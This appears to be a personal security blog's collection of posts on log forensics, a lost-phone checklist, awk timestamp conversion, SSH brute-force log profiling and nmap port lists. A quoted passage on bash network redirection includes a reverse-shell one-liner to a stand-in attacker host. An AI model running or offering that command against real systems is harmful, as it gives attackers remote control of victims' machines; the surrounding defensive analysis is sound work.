Log analysis is (the) trying to make sense of system and network logs.

Computer forensics is (the) application of the scientific method to digital media in order to establish factual information for judicial review.

So...

Log forensics is (the) trying to make sense of system and network logs, in order to establish factual information for judicial review.

Makes sense, maybe I've been googling for the wrong keywords all this time! Till of late, I've been looking at this field largely from a data mining viewpoint.

Just like in incident response, two things held true:

• If you don't have a "incident" response plan, you're only going to panic (a lot more) when it happens.
• Doing an AAR helps!

There're things that can be done to make the loss/theft of your phone a lot less traumatic, and possibly less painful if you really don't get your phone back. They happen to be the things that you could do when you get a new phone.

Preparing for what should not happen:

• Note down IMEI of phone (dial *#06#)
• Set up phone tracking/remote lockdown. Apple users have MobileMe / iCloud for iOS. There are ways to do so for Android too. Remember to set a good password which is not reused anywhere else!
• Note down details of the taxis that you board (taxi company, license plate, make/model of taxi). Takes getting used to though.

What to do when phone's stolen/lost (in order)

1. DON'T PANIC, knee jerk reactions are not what you want!
2. Recall when you last used/saw the phone. Retrace your steps and narrow down the possibilities on where to search. Confirm that it was indeed dropped somewhere/in the taxi.
3. Lock phone remotely if you can, and haven't locked it already (Apple's Find My iPhone allows you to do that if you've set it up already). For the average Joe who picks up the phone, it makes the world of difference between a phone that he/she can use straight away and one that he/she is better off returning.
4. Call in 5-15 minute intervals to locate/get someone's attention to the phone. Don't call non-stop as there's no point in spamming your phone, especially if it's going to result in a flat battery which is worse off.
5. Leave a message for any would-be finder to be able to contact you and return the phone. You could use the phone tracker, or simply SMS/WhatsApp/etc. Many phones show the message contents without having to unlock the screen (!!!).
6. Locate the phone, mainly to see if it's trivially retrievable (left on the floor somewhere, or taxi's stationery), or for the police report to come later.
7. Call for help (taxi company). There's an awesome list of Singapore taxi companies' numbers out there.
8. Lodge reports especially when your chances of getting the phone back are slim, or when it's been a while since you've been able to find it/get it back. For the phone itself (property) and any other items of importance that was lost together like identity cards, call the police or make use of the SPF's e-services to lodge a report. Credit cards that were with the phone should be cancelled regardless of whether you get the phone back or not since there's a high likelihood that someone else has seen your CC number and CVV. You do NOT want to go through additional heartache and trouble of undoing credit card transactions by the unscrupulous.

That's all for now. Stay safe, and stay calm

Edit: I guess if this happens you could just skip straight to locking the phone and calling the police.

While it is really sexy (oh yeah!) to be able to dig out stuff from a computer that Joe or that pesky malware writer tried to hide, responding to incidents requires information to be surfaced as much and fast as possible in order to solve the mystery and contain the damage. And for organization-scale incidents, one great source of information would be the logs generated from the various endpoints/perimeter devices.

So far there's the area of SIEMs and logs management, where we get the heavyweights like Anton Chuvakin. The closest could perhaps be SANS' network forensics course offerings, but the coverage is glancing at best. But looking for discussions in terms of analyzing logs specifically for DFIR, zilch. Perhaps I'm looking at the wrong areas, if so do let me know

As with many security-related domains, the more an area is publicly shared, researched and discussed, the more the good guys stand to gain. The flip side argument being that the bad guys are reading the same stuff too, but that's another topic to be visited another time.

Till then, will share whatever I can about this area that I've learnt so far. It's really a curious monster in itself amongst DFIR efforts.

DShield.org in collaboration with SRI International has established a new experimental custom source address blacklist generation service available to all DShield.org contributors. This new service utilizes a radically different approach to blacklist formulation called Highly Predictive Blacklisting. Each DShield contributor can now access a unique HPB (instructions below) that reflects the most probable set of source addresses that will connect to that contributor's network over a prediction window that may last several days into the future.

Highly predictive blacklists employ a link analysis algorithm similar to Google's PageRank scheme used to find the most relevant web pages given a user's query. Similar to a web query, DShield contributor's firewall logs are cross-compared in search of overlaps among the attackers they report. Each attacker address that is included in an HPB is selected by favoring those ad-dresses that are encountered by other contributors that share degrees of overlap with the HPB owner.

How does it work (for non math geeks ): We compare your firewall logs to firewall logs submitted by others. If you and other submitters are hit on similar ports, then your are more likely to be attacked by the same IPs. Your personal "HPB" is created from the IP addresses that target submitters with similar reports as you.

While this is directly useful to firewall administrators, the concept could potentially be extended to other domains/uses too. Filing this under "bag of tricks" for now

I want spam!

Looking for samples of a particular type of spam, please help!

The kind of spam I'm looking for is a specific type, so please read on first!

The spam mail has to fulfil these criteria:

1. Sent from a free webmail provider (Gmail, Yahoo, Hotmail/MSN, etc).
2. Sent from an email address/friend/person that you know (i.e. they likely have your email address in their address book).
3. Has a "blank" email subject (this shows up as "(no subject)" in Gmail for example).
4. The body/content of the email appears to contain only one link, or very little content.

If you have received such emails, you can help by sending the headers and "raw" content to me.  Both usually can be obtained when viewing the email headers (Gmail example: click on the down arrow at the top right corner of the email, select "Show original").  Just copy and paste the entire headers and content into a text file and send to spamcollector@rayfoo.info as an attachment.

If you're afraid that I might misuse the email addresses (don't worry, I'm not a spammer... ), feel free to obfuscate the email addresses before sending it out to me.  I only request that you at least indicate the webmail domain portion of the email address that sent you that spam mail.

Any clarifications, please post in the comments section below.  Thanks a lot!

Example of what this particular spam looks like (the content would differ) (click to enlarge)

The "raw" email headers and content (just a whole lot of "text"!) (click to enlarge)

Whilst there's always free tools like Splunk which is available for free to the masses (and yes, it does automatically convert epoch timestamps for you), there's always our "humble" awk.

The linux awk command has the ability to invoke other commands as part of its computation.  The date command can be used to convert epoch times to local times.  Putting both together would allow us to do just what we need here!

First some examples with the date command:

$ date -d @1280921130.313
Wed Aug  4 19:25:30 SGT 2010

Or should we want to get the dates only:

$ date -d @1280921130.313 +%D
08/04/10

Now, making use of awk to convert only one epoch timestamp:

$ echo -n "1280921130.313" | \
awk '{"date -d @"$1" +%D" | getline myvariable; print myvariable}'
08/04/10

The important part to note is that we must enclose the "external" command in quotes (we use the unquoted $1 variable to pass the epoch timestamp from awk), and that we pipe the output of that command to the getline directive in awk.  getline by itself would replace the $0 variable in awk when referencing it subsequently, whereas specifying a variable ("myvariable" in this example) would keep the $0 variable as it is, allowing you to use the variable to reference the output of the external command.

Final example showing how logs preprocessing using these commands might look like:

$ cat sample.log
1280921130.313 logentry1
1280921131.313 logentry2
1280921132.313 logentry3
1280921133.313 logentry4

$ cat sample.log | \
awk '{"date -d @"$1 | getline myvariable2; print myvariable2 "\t" $0}'
Wed Aug  4 19:25:30 SGT 2010    1280921130.313 logentry1
Wed Aug  4 19:25:31 SGT 2010    1280921131.313 logentry2
Wed Aug  4 19:25:32 SGT 2010    1280921132.313 logentry3
Wed Aug  4 19:25:33 SGT 2010    1280921133.313 logentry4

Have fun!

http://blog.rootshell.be/2011/05/05/binbash-phone-home/

Now the question will arise: when those network redirection could be helpful? First, bash can used without third party tools to grab data from the network. The example below fetch this blog main page:

  exec 5<> /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" >&5
  cat <&5
  exec 5>&-

Very convenient if you don’t have link or curl installed. Just pipe the output to other commands. This can be used to generate dictionary files to conduct a bruteforce attack:

  exec 5<> /dev/tcp/blog.rootshell.be/80
  printf "GET / HTTP/1.0nn" >&5
  cat <&5
  exec 5>&- | sed -e 's/<[!a-zA-Z/][^>]*>//g' foo.tmp | tr " " "n"

Another nice example is to make bash “phone home”. Let’s launch a reverse shell to an attacker box:

  victim# bash 0</dev/tcp/www.attacker.com/8888 1>&0 2>&0

As the bash shell is very common, it can be very interesting! Just use your imagination. to find other examples. A final remark: this feature is not available on all pre-compiled or packaged bash instances! Some UNIX flavors consider it as dangerous (which is true!). If you want to compile your own bash with this feature enabled, the configuration flag is “–enable-net-redirections“.

Also, a tool to help with PDF creation/modification/analysis.  Sounds promising:

http://code.google.com/p/peepdf/

peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports all the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of Spidermonkey and Libemu it provides Javascript and shellcode analysis wrappers too. Apart of this it's able to create new PDF files and to modify existent ones.

Proper setting up and regular monitoring of logs gives you the avenue to know what's really happening with your box sitting out there in the internets, and to anticipate when bad things are about to happen.  One of the warning signs would be that someone has been poking around your box, looking for an (easy?) way in.

The natural thing that would jump out at you then, is that this someone has been accessing your box in far higher volumes/durations, especially on services that should not be accessed by others.

This is one example of such accesses on a linux box: SSHD brute forcing over long periods of time.

Note: This post is more to talk about the process of digging/profiling, rather than the actual setup processes/log sources involved.  Feel free to ping me/comment below if you wish to discuss though.

The first thing you may ask is: what is "persistent"?  This would be the opposite of the run-of-the-mill opportunistic attackers.  These guys tend to bang your machine for a bit, then leave you alone immediately after failing:

Opportunistic attack: Tries and gives up.

This contrasts greatly with the persistent buggers:

Whoa!

After digging around first on the IP and supposed country of origin, we want to find out what did the attacker try to do?  One of the logs (*cough*... p0f... *cough*...) feeds info on the ports that were attempted to connect to, this could be a starting point:

Mostly port 22 (SSH), only 1 for port 80 (HTTP)?

Searching for and viewing the port 80 access attempt, by itself and in relation to the other activities shows the following:

Pinpointing the port 80 connection

Viewing the logs in chronological order (Splunk defaults to reverse chronological)

Viewing the logs in chronological order (Splunk defaults to reverse chronological) shows that the port 80 connection preceeded the many many many port 22 connections by 2 minutes.  What's going on here?  If somebody wanted to get at the SSH accounts, why not go for them straight, rather than accessing the web service only once?  Checking the web access logs might give the answer we're looking for:

So in that TCP/80 connection....NOTHING was retrieved

Accessing nothing in that (only) one connection makes this look like a ping of sorts, but we can't be certain.

The next thing is to look at what this somebody was doing over the past two weeks!  First we get an idea of the kinds of things that were happening:

Mostly "Attempts to login using a non-existent user", ala our dear Mr Force, Brute Force

...and "SSH scan"

What do these SSH scans mean?

Just means that the SSH handshake was not properly done/completed.

Since we already know that this is a brute force attempt, judging by the frequency of the failed SSH handshakes per day we can assume for now that they're just resulting from either the connections being blocked, or just "normal" failures in the midst of thousands of attempts.  More can be done to confirm this by zooming into the times where these errors occur, but let's say we're not interested in confirming this fact for now.

Looking at the nature of the attack provides some clues on the tools being used too.  For that we extract some stats concerning the tool's attack:

Extracting and counting targeted SSH userids show that 473 userids are attempted in a range from 1 to 21 times each

First occurrence of each targeted userid is spread out fairly evenly throughout the time period...

...and last occurrences of each userid being fairly even throughout too.

More stats would be needed depending on the theory you're trying to prove/disprove, but you get the picture.

One of the things I usually would want to see is the list of userids used to brute force.  In this case, it looks like a predominantly Japanese/Chinese wordlist/namelist being used.  Interesting.

Am I Japanese? Am I Chinese?

Maybe I should start blogging in other languages to see what kind of brute force wordlists turn up

For now, in any case, 122.166.127.116 (abts-kk-static-116.127.166.122.airtelbroadband.in), I AM WATCHING YOU.

An example would be the changing of private services (e.g. SSH) to run on non-standard ports (I see this frequently recommended as part of hardening guides anyway; there's port knocking too which could be even better, but that's not the point of this post).

In the example of hiding SSH ports, the question then comes: what port to use? One of the many ways is to make use of nmap's frequently used ports list to help make a decision.  Nmap scans using the top 1000 frequently used ports in a normal scan (although we change the scan to scan based on any top n used ports too).  So we run this in a shell to list the top 1000 (or n of your fancy) used ports:

cat /usr/share/nmap/nmap-services | \
awk '{print $3 "\t" $2 "\t\t" $1}' | \
sort -nr | head -n1000 | less

 
Let's break this command down:

cat /usr/share/nmap/nmap-services prints out the contents of the nmap-services file (used to track the probabilities of the ports used) to STDOUT.

awk '{print $3 "\t" $2 "\t\t" $1}' formats the contents of the nmap-services for the sort command to work on.

sort -nr sorts the entries by reverse numerical order.

head -n1000 shows only the top 1000 lines of output (change to any number you wish, or remove altogether to see the full list)

less displays the output in a scrollable, searchable manner.

On an ending note, it probably would be a bad idea to go straight for the last entries in the sorted list for your port selections.  Remember: we want to be unpredictable, and not simply different.

There're so many people using Windows out there, so it must be good!

Technical consultant for a SIEM solution
trying to say that "Windows is the best OS"